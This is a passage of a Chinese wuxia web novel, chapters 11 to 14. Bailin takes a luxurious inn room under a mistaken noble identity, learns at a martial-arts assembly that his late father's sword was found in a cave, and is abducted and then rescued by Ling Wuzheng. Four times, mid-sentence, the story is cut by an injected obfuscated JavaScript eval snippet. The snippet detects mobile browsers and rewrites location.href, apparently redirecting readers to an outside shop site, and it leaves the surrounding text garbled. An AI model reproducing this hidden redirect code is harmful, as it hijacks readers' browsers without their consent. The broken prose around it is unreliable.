周掌柜沉吟片刻后,对柏麟说稍等。随后他叫来一个伙计,吩咐道:“去问问李掌柜那里还有没有空房。” 片刻后伙计就跑回来了,附在周掌柜耳边转达说:“李掌柜说,有是有,但价高者得。” 周掌柜听了之后也不在意,他笑着起身,伸出一掌替柏麟他们引路:“几位小公子请跟我来吧。” 周掌柜领他们去的客栈恰是能望见高台的几间客栈之一。 不久前刚给他们扫地出门的伙计见了这次和他们一起前来的周掌柜,再看向三个少年的目光里就露出了几分迟疑。 周掌柜吩咐客栈的小伙计带他们去见客栈的李掌柜,小伙计应了一声后,快步带他们上了楼。 进得客栈掌柜的的房间,李掌柜迎面做出一副恭候已久的架势和周掌柜寒暄:“啊呀,这不是周掌柜嘛,什么风把你给吹来了?快请坐快请坐。” 主位上只有两把椅子,按理说正应当二位掌柜的各坐一端。但周掌柜并没有过去,他转身对柏麟略一施礼,道:“公子请。” 柏麟一愣,正手足无措间,孪生子在他身旁颇有默契的一人搀住了他一条手臂,给他“挟持”了过去。这兄弟俩一边走还一边嚷:“公子快坐,公子快坐。” 柏麟被他们两个推到主座,脸上尴尬的不得了。幸好客栈的小伙计从主位开始,给每个人都倒了茶,柏麟尚且可以捧起茶盏,假装喝茶来掩饰自己的表情。 客栈的李掌柜摸不着头脑地问:“这位是?” 周掌柜自己坐在下首,对李掌柜解释:“这位是从严氏来的公子。” 柏麟低头吹着茶盏上的热气,心想:什么严氏?听都没听过。 倒是李掌柜听了严氏二字,不由自主地坐正了些,对柏麟一抱拳道:“原来是严氏的小公子,失敬失敬。” 柏麟尴尬得如芒在背,实在不知道该怎么回答,就只好高深莫测地点了点头。 周掌柜没再多言,开门见山地说:“李掌柜,我家公子听说近日要召开武林大会,想就近在城中寻个落脚的地方住上几日。我想来想去,这菱泉城里,只有你家的客栈最合适。听说你这里还有空房。不知道方不方便让出来给我家公子来住?” 李掌柜状似为难地搓了搓手:“这个嘛……空房有是有,但是周掌柜你也知道,明日就要在我门前召开那武林大会。我这的房间早就让那些侠士订去了,只剩下那么一间,肯定是要……” 后半句李掌柜隐去了没有明说,但那意思再明了不过,他压着最后一间空房在手里,就是想要狠狠地宰一笔大的。 周掌柜倒是十分淡然,他道:“李掌柜不妨开个价。” 李掌柜缓缓竖起一根食指:“一夜,一千两。” “咳!”柏麟吓了一大跳,差一点就惊呼出声,幸好及时克制在喉咙里,变成了一声干咳。 “李掌柜莫要说笑。”周掌柜倒没有柏麟那么沉不住气,他用胸有成竹的笃定语气说:“明日就是那武林大会,城中早已片瓦难求。李掌柜这里离高台如此之近,手中还能留着这间空房,我知你是要成全一桩划算的生意。只是武林中的事情,毕竟与我等干系不大。而严氏在城外也并非没有别的住处。公子既有雅兴凑这个热闹,你我也不妨好好再谈一谈。” 柏麟直觉周掌柜说得话不止字面上的意思,可他也实在听不明白到底怎么一回事,只好稀里糊涂地坐在一旁,看两个生意场上浸淫多年的中年男人彼此笑眯眯地唇枪舌剑。 直到李掌柜和周掌柜给他们三个送到了一间客房的门外,柏麟也依旧没回过味来。 周掌柜脸上依旧是温和的笑意,他对柏麟说:“小公子尽管在此住下,李掌柜日后自会来钱庄找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345096|152659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我结账。” 柏麟颇不自在地抓了抓自己的耳朵,为自己添的麻烦谢过了他。 周掌柜施以一礼,替他们关好了房门,离开了客栈。 孪生子贼一样贴在门边听着门外的脚步声远去,直到听不见时,才跳起来大惊小怪地叫嚷起来。 “哇!这间屋子好大!这些摆着的都是什么?这屏风是玉做的吗?这帘子的布摸起来好软!” 柏麟虽然还有些受宠若惊的不自在,但在此时能住进这样一间好的屋子,他心中更多的还是兴高采烈的少年心性。 柏麟跟在孪生子身后新奇地看着这间屋子的摆设。他也是头一次见到这么豪奢的房间,完全不知道该怎么回答孪生子的问题。好在孪生子也只是自顾自的惊叹,并不是真的要他的解答。 等孪生子研究过屋子,他们又抓着柏麟一起坐下,问出了他们更加好奇的事:“柏麟,你真是那什么严氏的公子?” 柏麟羞惭地摆了摆手:“当然不是!我从来没听过这个名字。” 小豹拄着下巴问:“那钱庄的掌柜为什么要这么说?” 小虎对他弟弟解释:“笨蛋!当然是为了骗那个客栈掌柜咯!你没看见他听周掌柜说柏麟是严氏的公子之后的态度么,像见了肉骨头的狗一样。” 柏麟怎么听小虎的话怎么觉得奇怪,说不上来这话是在侮辱客栈的李掌柜,还是在骂他。 他想了想说:“也许是因为无争给我的那枚印章上刻着‘严十五’,周掌柜就把我当成了严氏的公子呢?” 孪生子赞同地点了点头:“嗯,也说不准。” “不过这枚印还真厉害。也不知道师兄是怎么得到的。” 柏麟心中想着自己的疑惑,悄声对孪生子说:“之后咱们可以找人打听打听,这个严氏到底是做什么的。” 小豹也压低了声音,附和道:“不过不能在这间客栈里问,不能让客栈的掌柜知道咱们是骗他的。” “哎,多想也无益。”小虎站起来,一拉两个的袖子,“反正住处已经找到了。咱们不如去街上再看看,说不定就能碰见什么门派高人呢?” 小豹赞同道:“是呀是呀!我还不知道这武林大会是怎么回事呢,咱们正好也出去打听打听!” 柏麟本也跃跃欲试地跟着站了起来,然而他立刻又心虚地坐了回去。 “今天还是算了吧。无争肯定也在菱泉城里。” 孪生子不解地看着他:“那又怎样?师兄在不是正好?严氏和武林大会的事情,不正好可以问他。” 柏麟十分为难地解释道:“无争当初把我放到师父那里,就是不想让我跟来。咱们三个要是现在出门撞见了他,肯定要被他再丢回去的。这样岂不是就看不成明天的武林大会了……” 孪生子被他唬住,拿不准他们那个只见过一面的师兄,到底可怖到什么程度。 柏麟越说越心虚。他其实不怎么怕无争发现他在城里,因为即便被无争捉住了,在还有半日就是武林大会的当下,无争也来不及再给他们三个送回去。 他现在更怕的是被无争发现,他用那枚小印的权力,住进了这间贵得吓人的客栈…… 虽然钱庄的周掌柜说,住宿的钱由客栈的掌柜向他结算,但周掌柜用来结账的钱又是从哪里来的呢? 柏麟不敢细想,他怕自己再想下去,就会连武林大会都顾不上,逃之夭夭了。 12. 第十二章 临近傍晚时,菱泉城下起了一场雨。客栈的李掌柜很体贴地为他们送来了晚膳。 之所以不叫晚饭,实在是因为送进屋子里的一道道菜肴都太过于丰盛了。 三个少年还从没见过如此精致的菜肴,甚至一时都不知道该如何下箸。 等他们鼓起勇气开始享用这一顿盛宴之后,互相交流的话语就只剩下——这个好吃!那个好吃!全部都好吃! 酒足饭饱之后,李掌柜还为他们烧好了沐浴用的水。三个少年被热气蒸腾得晕晕乎乎,洗漱之后早早躺到床上睡了。 至于严氏与武林大会的事,既然不急于这一日解决,也就被他们三个一股脑的抛在一边不理了。 也幸亏他们前一夜睡得早。第二日清晨,楼下熙攘的动静将他们吵醒的时候,也不至于太困倦。 李掌柜一早就来敲门问安,谄媚地说:“公子昨夜睡得安好?今日便是那武林大会,我早已为公子留好了位置。公子是想在房间里还是高台边上用早膳?” “这……”柏麟一边整理着自己的衣带,一边回头去看孪生子。 这对兄弟俩最是爱热闹的,自然毫不犹豫地选了去高台边看看。 于是李掌柜等他们整理好,便领着他们往客栈的三楼走。 因为离高台近的缘故,这间客栈临街的一面已经涌入了许多人。坐在一楼的人不是住客,而是一些点了一壶酒就挤进来凑热闹的人。有的人被挤到太靠里侧的位置,反而什么都看不见,正跟着小二叫嚷不迭。 而通向楼上的楼梯口,守着不知道哪个门派的弟子,连李掌柜和店里的伙计们,都要赔着笑才能上去。李掌柜介绍说这三个少年人是要去往三楼的贵客,才让柏麟他们得以放行。 来到二楼时,柏麟还好奇地张望了一眼,想看看二楼都是些什么人。然而二楼的楼梯口被临时搬来的屏风挡得密密实实,连条缝隙都没有露出来。守在楼梯口的另几位提着武器的人的眼神又太过凶厉,柏麟只是看了一下,就不敢再多打量了。 待上得三楼,又有装束不同的另一伙人提刀提防着他们。 三楼临街的一面有着数间雅室,李掌柜带着三个少走进其中一间,站到窗边介绍到:“公子请看,这楼下便是要召开武林大会的高台。窗边已为各位贵客布置了珠帘,如果不想被对面楼阁中与楼下的人看见,只需将这珠帘放下。桌上也略备了一些茶水茶点,公子若还有什么吩咐,门外就候着小厮,随时听凭您的吩咐。” 柏麟手指拂过珠帘,躲在珠帘的遮蔽后看向窗外,感觉李掌柜的安排实在是贴心。这样一来,他就不怕会被无争发现他在这里了。 柏麟回头谢过李掌柜,待李掌柜退出雅室后,连忙拉着孪生子一起凑到窗边向外看。 楼下的街道上已经挤满了好奇前来的人,若非登上高台的阶梯旁守着一群身穿青衣的弟子,恐怕这些人要一直挤到高台上去。 孪生子指着青衣弟子们说道:“这些人就是济春派的吧?” 柏麟探头张望:“大概是了。既然这次是他们要召开武林大会,守着的应该也是他们的弟子。” 小豹又指着对面说:“你们看对面,那片窗口后面也都是穿青衣的人,他们肯定也都是济春派的咯?” 对面的几面窗口边上,只有济春派所在的窗口全无遮挡,坦荡的露给别人看。其他各家则多有遮掩。柏麟虽然在幼时拜访过天地剑宗,但剑宗这几年间或许改换过服饰,柏麟四处看了半天,也分辨不出哪些人才是他的师叔师伯。 不过即便他能认出来剑宗,柏麟也不敢贸然和剑宗的人接触。他不知道无争为什么一直对剑宗的事讳莫如深,但他直觉无争这样一个怕麻烦的人,这几年从不提起将他打发去剑宗的事,一定是来自于他娘的嘱托。 就在他思索的时候,高台上走来了一个身着锦袍的中年人。那人手中拎着一个神神秘秘的木匣,不知道里面装了些什么东西。 中年人站到高台之上,将木匣放在一边,对四方一抱拳,四周顿时安静了下来。 他自我介绍说:“在下济春派裴胜谋,多谢各位武林同道今日拨冗前来。” 孪生子看向柏麟,异口同声地问:“这是谁?” 柏麟露出费解的表情,向他俩摇了摇头,示意自己也不知道。但是好在此处还有其他见多识广的人,在中年人说完之后,楼下的人群里窸窸窣窣地传来些议论之声:“裴胜谋?这人就是济春派药宗的宗主裴胜谋?” 柏麟一听药宗二字,忽然想起了一些小时候的事。他娘生前曾有一位名叫离尘的好朋友,就是出自于济春派的。但柏麟那时年纪尚小,并没有记住离尘具体来自于济春派之下的哪个宗门。他只隐约记得自己听过药宗,却无法肯定离尘是不是药宗中人。 他手指将珠帘挑开一道缝隙,又将济春派的众人仔细看了一遍,试图寻找离尘的身影。 高台之上的裴胜谋待议论的声音小了些,才有继续说:“今日请诸位前来,正是因为数月前,在我们棘肓山发生了一件奇事。我门中一位小弟子,进山采药时不慎迷了路,跌进一处山穴之中。待他得救后,禀告师门说,那山穴中有一些金银财宝和一具无名尸。我觉得此事离奇,便又派了几名弟子,同他再走了一遍。这一次,我的弟子们从山洞中发现了诸多了不得的东西。” 有人附和着裴胜谋卖的关子问:“裴宗主,是什么啊?” “山洞中确如那小弟子所言,有许多财宝,以及一具尸首。而这尸体的胸口和脊骨上布满了细碎的横纹。” 有不少人都对他的这番描述感到一头雾水。众人皆兀自费解时,人群中忽有一人大声惊呼道:“是卫宁!卫宁的断山掌!” “没错!”裴胜谋道,“诸位大概也都听说过,魔教横行之时,卫宁就是凭借着一套断山掌犯下了诸多恶事。而死于断山掌的人,无一例外,胸口与脊骨上都布满了细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345097|152659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的横纹。据我派记载,卫宁生前从未收徒传艺,自卫宁死后,虽然也有人打着旗号,声称自己是卫宁的传人,但他们所修习的断山掌都没有这样的威力。 “而卫宁战败于荆平之时,魔教曾有传言,说卫宁将‘最后的功法’藏在一处秘密的山洞里,得之可得天下。我们猜测,从棘肓山发现的这个山洞,很有可能就是卫宁藏匿绝学之处。 “然而我派将那山洞彻底地搜索了数次,除了一些旧时被卫宁搜罗来的其他门派的秘笈,再无任何与断山掌相关的只言片语。所以能害死那洞中尸首的凶手,如果不是卫宁再世,就只能是得到秘笈,学到了完整的断山掌的人。” 哗地一下,众人顿时吵嚷起来。无论真相如何,要是世间还有这样一个人,都是可怖之事! 柏麟正听得一头雾水的时候,于他楼下,二楼的某间窗口传来疑问之声:“裴宗主且慢。你为何能笃定卫宁在这山洞里留下了断山掌的秘笈?也许山洞中的死人是卫宁生前亲自杀害了的呢?” 柏麟默默点了点头,认为楼下的高人说得有理。 却见裴胜谋不慌不忙地解释说:“怪就怪在,这位死者不是死于卫宁还活着的时代。我们在发现他的尸体时,还发现了他身边的一把佩剑。” 裴胜谋说着,捡起了他刚刚放在一旁的木匣。他将木匣打开,捧出一柄由布包着的剑。布料滑落,露出柏麟熟悉的样貌。 “这柄剑来自天地剑宗,剑身有铭。剑铭单字,刻着‘垌’。” 在场顿时吵嚷起来。这岂不是说死的人是剑宗弟子? 孪生子在旁自言自语:“就算发现了剑宗的剑又能怎样?那剑一定就是死掉的人的吗?” 柏麟心中莫名有些紧张,他下意识地想去摸向他娘留下的剑,却摸了个空。他这才后知后觉地回忆起,自己今晨将怿字剑留在了卧房中,并没有一同带过来。 为了缓解心里的那点不适,他对孪生子解释说:“剑宗有‘剑在人在,剑亡人亡’的规矩。就算死掉的人和那柄剑没关系,拥有那柄剑的人大概也凶多吉少了。” 四处都在议论纷纷的时候,他们三个所在处的对面,一面位于二楼窗边的竹帘突然被人挑开,露出一张柏麟觉得似曾相识的脸。 那人须发半白,好像是他爹的哪位师伯还是师叔。他沉声说:“麻烦裴宗主递来此剑,借我一看。” 裴胜谋彻底扯去缠在剑上的布料,手上略施劲力,将那柄剑抛向剑宗的方向。 中年人抬手接过,拔剑看了一眼,然后俯身对另一片竹帘后坐着的某人说了些什么。 裴胜谋问:“顾长老,如何?” 剑宗的顾长老转回身来,一字一句地说:“这柄剑确实属于我派内门弟子,岑术南。术南与其妻子都是剑宗弟子,七年前,他们夫妇最后一次拜访过剑宗之后,就失去了音信。” 柏麟的脸色顿时白了。 这是他爹的剑?! 13. 第十三章 在场没有人知道,岑术南的遗孤就坐在高台旁的客栈中。 柏麟上一刻还在与孪生子解释剑宗‘剑在人在,剑亡人亡’的规矩,此刻无论如何也无法侥幸认为,他爹只是将剑遗落在那里。 柏麟脑海里一片乱糟糟地想,难道他爹已经死在了棘肓山?死在了那所谓的断山掌之下? 他爹是什么时候发生的意外?是在他与他娘遭受暗杀之前还是之后? 到底是谁害了他爹? 无争……无争知道这件事吗? 裴胜谋已经抛出了济春派所知的所有线索,于是正好趁机表明济春派此次召开武林大会的来意:“卫宁之死,是当年的武林各派有目共睹的。能杀害剑宗这位弟子的人,绝不会是卫宁。也就是说,世上至少还有一位习得了完整的断山掌的人。而当初追随过卫宁的人,活到如今也有六七十岁了。我们尚且不知凶手是卫宁亲自教出来的弟子,还是从这个山洞中得到了断山掌的秘笈。 “不论是何种情况,我辈正道中人都不能放任一个习得断山掌的人逍遥在外!济春派此次召集大家前来,就是希望诸君同我们一起,尽早除魔!” 人群中有人附和:“一同除魔!”“不能让断山掌再害更多的人!” 巨大的吵嚷声敲在柏麟的耳朵里,震得他脸色更加苍白。 他视线从裴胜谋身上移开,去看剑宗顾长老手中的垌字剑。 他越望着那柄熟悉的剑,理智越是崩溃。直到某一瞬,无名而起的冲动冲破令他身体僵直的震惊和悲痛,让他突然转身,跌跌撞撞地向屏风外冲去。 “柏麟!你去哪儿?”孪生子被他突然的动作吓了一跳。 小虎想要伸手拉住柏麟的胳膊,然而很快就被柏麟挣脱了。 柏麟的大腿撞在桌角,他好像也不知道疼,只是飞快地跑到楼梯口,迅速地下了楼梯。 孪生子对视一眼,都是一头雾水,但一时也顾不上别的,只好跟了上去。 柏麟好像沿途撞到了好多人,除了孪生子,客栈的李掌柜似乎也不明所以的跟了过来。可他完全不在意。他心里只有一个着魔般的念头:他要带着他娘的怿字剑,去找他爹的垌字剑! 柏麟一路跑回到房间里,直到抓住了藏在被褥间的怿字剑,才后知后觉地软了腿。 他在急促地喘息间喃喃地念了几声娘,然后才像是从娘亲的身上汲取到了勇气一样,重新站起来,打算立刻就带着怿字剑去对面的楼阁里寻找剑宗的顾长老。 然而直到这时,他才听见走廊中的动静似乎不太对。 有人在走廊大声喝问:“你们是做什么的!” 被人喝问的人似乎是孪生子,他们两个略有不忿地抱怨了什么,柏麟听不太清,倒是听见李掌柜连忙解释:“这位好汉,他们是住在隔壁间的,跟着严氏的小公子一起来的。” 柏麟不知道这是发生了什么,疑惑地握着剑走出去。 他刚踏出房门,迎面就撞在了一人身上。 那人一身玄色劲装,左右腰间各别着一柄刀,个子比凌无争还要高。 柏麟的视线向上,恰好和他低头向下的目光对上。 “抱歉。”柏麟还有更要紧的事要做,不愿多做耽搁。所以只是看了一眼那人因不耐烦而皱起的眉头,就低下头去,小声为自己无心的冒犯道了歉。 他避开这人,转身打算带着孪生子一起离开。却听身后的人说道:“站住。你手里拿的什么?” 柏麟直觉大事不妙,但又说不明白哪里不对。他没有回头,加快了脚步继续向前。离他面前不远的孪生子突然瞪圆了眼睛喊:“柏麟小心!” 柏麟从前在梨园里跟着凌无争学过刀,也练过拳。可他那时只把习武当成了一件有趣的事,从未想过自己所学的东西有一天会派上用场。 直到被人一瞬间钳住手腕,扭住手臂,挣扎不得的时候,他才意识到自己在真正习武的人面前,和手无缚鸡之力的孩童没有任何区别。 “唔!”柏麟吃痛地闷哼。手中握不住的剑没有落到地上,而是被人接了过去。 孪生子虽然想冲上来帮忙,但他们刚一动作,就被刚才拦住他们问话的黑衣人的同伴给制住了。大概是知道这两个小子嚷起来的嗓门会很吵,要是引来其他的人,会增添不少的麻烦。这几人还顺势钳住了孪生子的喉咙,让他们发不出任何声音,只能憋红了脸费力喘息。 那黑衣人懒得去看那边的几人,手指挑开缠住怿字剑的布料,只看了一眼剑柄上的纹样,就认出了这是何门何派的剑。 他提着柏麟手腕的手上又加了几分力气,冷酷地问道:“你是剑宗的人?” “我、不、是……”柏麟整条手臂的筋骨都在痛,他被身后的力气按着,连腰都直不起来。 “不是剑宗的人,你为什么会有剑宗的剑?” 柏麟咬着牙大吼:“那是我娘的剑!你还给我!” 站在一旁的李掌柜急出了一头热汗,即便畏惧着这二话不说就动手的黑衣人,但还是要凑上来和稀泥道:“这位大侠!这位高人!你一定是有什么误会了。这是我们菱泉严氏的小公子,不是你们江湖人。他要是有什么地方冒犯了您,您大人有大量,我代他给您赔不是了。有什么话咱们坐下来好好说,您能不能先放了他?” 他们现在是在客栈排布了几间上房的区域,离高台边围观的熙攘人群并不算太远。黑衣人稍一思索,吩咐手下:“把那两个捆起来,再把这个带走。”说着,他就率先敲晕了柏麟。 “这……这……”光天化日之下,就这么大剌剌地行凶绑人,客栈李掌柜的黑心和苦胆都要被他们一块吓裂了! 他若是不出声还好,他在旁犹豫间,那黑衣人打量的目光又落在了他的身上。 黑衣人的手下身手利索地分头处置三个昏过去的少年人,他自己则伸手抓住了李掌柜的后领,推着他向外走:“你先随我走。路上不要想着给别人通风报信,否则……” 李掌柜被他以刀柄一顶腰间,立刻顺从地答应:“是是,我都听您的。” 菱泉城里的人几乎都涌到了高台前围观,李掌柜眼见黑衣人的手下没有遇到任何阻拦的,就将那对孪生子拖去他们位于隔壁的房间藏好。而柏麟则被他们扛起来,带向后院。 他这会儿万分后悔没有留下几个小厮看着后门,而是把所有人都调去了前面招待那些难伺候的高人。 李掌柜被胁迫着回到了高台边的三楼,路过柏麟他们刚坐过的雅室时,给依旧守在外面的小厮递眼色。 李掌柜怕被身后的黑衣人识破,所以只敢匆匆瞥一眼。那一瞬的目光交汇实在太短,他也没有把握,那年纪尚小的小厮到底能从中读懂几分。 万幸黑衣人并没有留意到他的小动作,他推着李掌柜又路过两三间雅室之后,才进到了属于他们门派的那一间。 高台边围观的人正吵得人仰马翻,珠帘后却有一个人安然地阖着眼睛在这嘈杂声中假寐。 “剑宗为什么会有弟子去那山洞里?剑宗是不是早就知道卫宁在那里藏了秘笈!” “先等等,卫宁有藏宝洞的说法不是魔教余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“既然如此,剑宗难道看不出这是一场局吗?” “看出来了也没什么办法。你看剑宗所在之处始终挡着一片帘子,那后面大概就坐着庄儒镜。他能亲临这地方,应该就是想事先和济春派的人了解一下内情。可济春派的人不想和他多说。他们留在菱泉张罗武林大会的都是不入流的小弟子,就连今天这位话事的药宗宗主,也是不知道从哪突然冒出来的。” 明观不解地皱了皱眉:“济春派敢如此慢待剑宗的掌门?” 他师父捏过手边的茶盏,饮了一口,而后才慢慢道:“如果济春派拿还在调查棘肓山的事当借口,兹事体大,剑宗恐怕也不好意思和他们较这个真。” “可济春派又为何要如此大动干戈地针对剑宗?” “呵,这就只有他们自己人知道了。” 说完,明观的师父似是才想起来,指尖敲了敲怿字剑,突然问:“对了,拿着这剑的小鬼被你弄哪儿去了?” 明观答:“客栈人多,我让人把他带到外面先藏起来了。” 大概是怕隔墙有耳,将关键的东西听了去。明观的师父招了招手,示意明观附耳过来,同他交代了一番。 明观并没有对他的吩咐提出异议,只说:“知道了,我这就去办。” 待明观再一次离开,明观的师父随手将怿字剑上的布条重新缠了几圈,搁在身旁的小几上放着。 他自在地向后一靠,重新阖上眼睛,闲听窗外的吵嚷。 14. 第十四章 “唔!” 柏麟腿上一痛,被迫从晕厥当中醒了过来。 他睁开眼睛,看着四周陌生的草木,一时想不起来之前发生了什么,自己又是怎么来到这里的。 而后,踢他的那个人走到了他眼前。他看着那人一身黑的装束,才猛地回忆起这是怎么一回事。 柏麟本想站起来拔腿逃跑,然而他稍一动作,就发现自己的双腕被一根绳子绕过身他后的大树捆在了一起。他挣扎着大叫:“你是谁!?为什么把我带到这里?我娘的剑呢!?” 明观没理他的吵嚷。他抱臂倚在一棵树上,问柏麟:“你叫什么名字?” 柏麟知道这人不怀好意,干脆扭过头去,缄口不言。 “你不说也没关系。”明观一副无所谓的态度,“我可以现在就将你丢在这里,你也不用知道那柄剑的下落了。” 一提到怿字剑,柏麟就不得不转回头来,老老实实地回答:“我叫柏麟。” 见他肯开口了,明观接着问道:“你为什么会来武林大会?” “我……我听说武林大会热闹才来的。” “说谎。” “我没有!” 两个人视线相接片刻,明观大概是信了柏麟坚定的眼神,又问:“既然你拿着剑宗的剑,为什么不去剑宗所在的地方,反而和我们住了同一间客栈?” 柏麟不是很明白他为什么有此问,反正是无关痛痒的问题,他就如实答了:“我娘是剑宗的人,我又不是。我昨日才入城,城里只剩这家客栈还有空房,我就只能住在这里了。这有什么不妥的?” “没什么不妥,只是住在这家客栈的人,大多与剑宗不对付。” 柏麟这才明白,自己为什么会被这个人抓起来。原来这家伙本身就对剑宗有敌意,所以一看见柏麟拿着剑宗的剑,就对他不客气了。 明观继续问他:“你说那柄剑是你娘的,那你娘为什么肯把剑交给你,却没有跟着你一起来?” “我娘过世了。她在很久之前就离开我了,所以我才不认识那些剑宗的人。” “那你爹是谁?” 柏麟心思急转,脱口而出:“我爹是严十五。” 就在不久之前,济春派的那位药宗宗主当着许多人的面拿出了垌字剑,随后又有剑宗的长老当众指出了岑术南的名字。柏麟知道自己这会儿万万不能说出他爹就是岑术南,干脆就信口胡诌了一个名字。 然而仓促之下,要想半真半假地编一个谎,他一时也难想到其他人,于是只好借鉴了他身上那枚小印的名字。 明观想起来在客栈的时候,李掌柜确实也说过什么“这是严氏的公子”之类的话。只是他还有一个问题不解,他问道:“既然你爹姓严,你为什么姓柏?” 柏麟原本还在心里默默地向爹娘和那位不认识的严十五道歉,闻言顿时在背后冒出一层冷汗,他辩解道:“那是因为我和我娘一个姓氏。” 明观将柏麟的来历仔细问过后,终于提起了正题:“断山掌与剑宗的事,你都知道多少?” “我什么都不知道。”柏麟说完,一看明观不满地皱起了眉,连忙补充道:“我知道的就只有武林大会上他们说过的那些。其他的我是真不知道了。” 明观盯着他的表情,虽然没看出来这小鬼有撒谎的迹象,但他也不相信,这小鬼真是在一无所知的情况下,就敢拿着一把剑宗的剑来旁观武林大会。 明观原地思考片刻,想着他师父交代过,让他问个大概之后就放这小鬼走,由着其他人来查断山掌与剑宗的事。既然这小鬼一时半刻松不了口,他不如就听从了师父的命令。 明观不再倚在树上和柏麟闲聊,抬步便往大路上走。 柏麟人还被捆在树上,一见他要走,焦急地大喊:“喂!你去哪!你还没放了我!” 明观头也不回地摆了摆手:“你再喊得大声点,让过路的人都听到,自然就有人来救你了。” 有没有人来营救他还是次要,柏麟对着明观的背影大叫道:“还有我的剑!你把我娘的剑还给我!” 明观没有回答他,自顾自地继续前行。 然而就在柏麟气得七窍都要生烟的时候,异变陡起——从明观头顶上方的树上,突然飞下来一个人! 柏麟只听得“呛啷”一声,金属的刀兵相接,随后才看清,是一个戴着斗笠的人手持一把长刀和明观不知道什么时候拔出来的左手刀撞在了一处。 那人问明观:“他的剑在哪?” 明观语气略有意外地问:“你不是剑宗的人?” 那让柏麟格外熟悉的声音反问:“不是又怎样?” “不怎么样。”明观没有多做解释。他所用的兵器本就是双刀,此刻只有一把左手刀用于格挡,他只消再抽出腰间别着的另一把刀,就能瞬间破开僵持的局势! 用长刀的人在明观的第二把刀袭向他的腰腹之前,果断地后撤一段距离。 柏麟这下终于看清了斗笠之下的面孔,他几乎是本能地大喊了一声:“无争!” 凌无争没有闲暇搭理他,他表情格外严肃地专注在和明观的双刀进行对招拆招上。 柏麟话说出口的瞬间就有些后悔,生怕自己害无争在这紧要关头分心,于是紧张得连大气都不敢喘了。 他还是第一次见到无争持着真正的刀和人对打。叮叮当当的交锋间,柏麟根本分辨不出无争到底都用上了那些招式。 从前他在梨园里有样学样地模仿过无争的刀法,自诩已经学会了七八成,现在看来都不过是他自欺欺人的想法。 凌无争和那黑衣人似乎是势均力敌的,毕竟他一把刀对战敌人的两把刀,还能僵持着没有败退的迹象。 然而或许是材质的不同。在接连的碰撞下,无争手里的那把刀竟突然从中间折断了! 柏麟看着斩向凌无争的刀锋,险些又要大叫出声,却见那黑衣人的双刀拐了个角度,堪堪从凌无争的肩旁擦过,并没有伤到凌无争。 明观后撤一步,没有乘胜追击,反而收了手。他说:“等你下次换一把好刀,我们再来过。” 凌无争没说答不答应他的约战,只是一伸空着的左手说:“把剑还来。” “你要的剑在我师父手里。你要是想取回来,就来衡天道找我。” 凌无争收回手,道:“留下你的名字。” “明观。” 话毕,明观就倒退了两步,转身离开了。 这次凌无争并没有再追上去。他手中长刀已断,再想要强留明观,就多少有些不自量力。 凌无争提着断刀,走到柏麟背后,割断了捆住柏麟的绳子。 柏麟一边解着手腕上的绳结,一边紧张地问:“无争,你没有受伤吧?” 凌无争随手丢掉断刀,看了看自己的手掌。他右手的虎口处被刀柄震出裂伤,渗出的血将掌心浸得一片殷红。 柏麟还以为是多严重的伤势,慌张地扯出怀里的手帕要给他包扎。 凌无争躲开他,解释说:“没什么,太久没握刀就是会这样。” 柏麟担忧得不得了,硬是扯过凌无争的手腕,将他掌心的血污沾干净,而后又用那手帕在凌无争手掌上缠了一圈系了个结固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347623|152659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,才算放下了心。 若不是为了救他,凌无争也不会与那个叫做明观的人打起来。柏麟些许愧疚地问:“无争,你怎么知道我在这里?” 说到这个,凌无争就叹了口气:“我还没问你,你怎么跑到菱泉城来了?” “啊,我……”柏麟心虚不已,说话的声气都越来越小,“我实在太想看看武林大会是怎么一回事了。我以为我能在这遇见我爹,但是……” 柏麟忽然说不下去了,他确实在武林大会上知道了他爹的下落,但那并不是他预想中的结果。 凌无争没有给他留下伤心难过的余暇,追问:“刚才那个人又是怎么回事?你是怎么招惹到他的?你娘的剑怎么会在他师父的手里?” 提起这个,柏麟一扫刚要漫上心头的悲意,从自己不小心在客房门口撞见明观开始讲起,给凌无争讲了自己刚刚经历的一场无妄之灾。 听完事情的来龙去脉,凌无争无奈地总结:“你要是听了我的话,乖乖待在师父那里,也就不会被人抢了你娘的剑。” 柏麟垂下头,诚恳地认错:“对不起,我知错了。” 